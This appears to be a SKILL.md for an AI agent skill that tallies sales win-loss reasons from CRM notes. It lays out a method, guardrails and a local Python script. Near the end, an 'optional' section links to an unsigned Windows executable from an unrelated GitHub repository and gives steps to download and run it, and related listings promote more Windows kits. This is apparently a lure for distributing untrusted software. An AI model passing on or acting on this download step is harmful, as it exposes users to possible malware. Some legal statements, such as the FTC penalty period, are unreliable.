Win-Loss Analysis

Tallies the reasons US deals were won or lost from CRM notes, so the real pattern shows up instead of one anecdote at a time. Use when the user asks for win loss analysis template, deal loss reasons, sales win loss review. For US sales leadership and RevOps teams running win-loss reviews.

Tallies the reasons US deals were won or lost from CRM notes, so the real pattern shows up instead of one anecdote at a time. Written for US sales leadership and RevOps teams running win-loss reviews.

Use this skill when someone asks for:

• win loss analysis template
• deal loss reasons
• sales win loss review
• b2b loss analysis

---

The job

Loss reasons in the CRM are free text, so leadership hears one story about price and never sees the pattern behind dozens of closed deals.

What you get

1. Collect the closed-won and closed-lost notes with the deal size, segment and close date.
2. Tally the loss reasons into a fixed set of themes and pull sample notes for each theme.
3. Compare the reason mix by segment, size and rep so a pattern separates from an anecdote.
4. Turn the top three themes into owned actions with a date and a number to watch.

Output contract:

• theme_table - reason, count, deal value in USD and share of losses
• samples - two or three real notes behind each theme
• segments - how the reason mix differs by segment, size and rep
• actions - three owned actions with a date and a metric

US specifics that matter

• A loss interview needs a competitor carve-out in the NDA, because most NDAs protect a customer's information from other customers.
• Sharing win and loss detail with competitors or in a buyer coalition raises antitrust questions, so keep the data inside the company.
• ASC 606 decides when a won deal becomes revenue, so count wins by stage and by recognized revenue separately.
• The FTC has four years to bring a civil penalty action, so a pattern in older losses can still matter.
• A competitor comparison in a deck that leaves the company is still a claim under Section 5 of the FTC Act.

Guardrails (hard rules)

• Never put a competitor's confidential information, pricing notes or contract terms into the analysis.
• Never publish the deck outside the company without a legal review.
• Never change a CRM loss reason to make the numbers look better.
• Never identify a customer by name in a deck that leaves the account team.

Quickstart

1. Fill in the brief

templates/win-loss-log.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/tally_win_loss.py --input win-loss-log.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/win-loss-method.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Collect the evidence

• Closed-lost reason, deal size, segment, rep, competitor and the date it closed.
• Keep the original note; the theme is added as a field, not as a replacement.
• Separate no-decision losses from losses to a named competitor.
• Use the same set of reason codes for won and lost deals.

A fixed reason set

• Price, missing capability, timing, no budget, incumbent, no decision, trust.
• One reason per deal, with free-text notes underneath it.
• Review the set every quarter so the categories do not drift.
• Let reps add a reason code, but keep the list closed.

Writing the findings

• Give the count, the total in USD and a real quote behind each theme.
• Name an owner and a date for each action, plus the number that will show it worked.
• Say what the data cannot tell you, for example why a lost deal went quiet.
• Check every comparison before it is said out loud.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip
File	ModelBox-Windows-x64.zip (9.6 MB)
SHA-256	ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff
Inside the archive	ModelBox-Windows-x64.exe

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

Files in this bundle

• SKILL.md - this file
• references/win-loss-method.md - Running a US win-loss review that holds up
• templates/win-loss-log.csv - the brief to fill in
• scripts/tally_win_loss.py - the working script

Verify the bundle

bash

python3 scripts/tally_win_loss.py --input win-loss-log.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.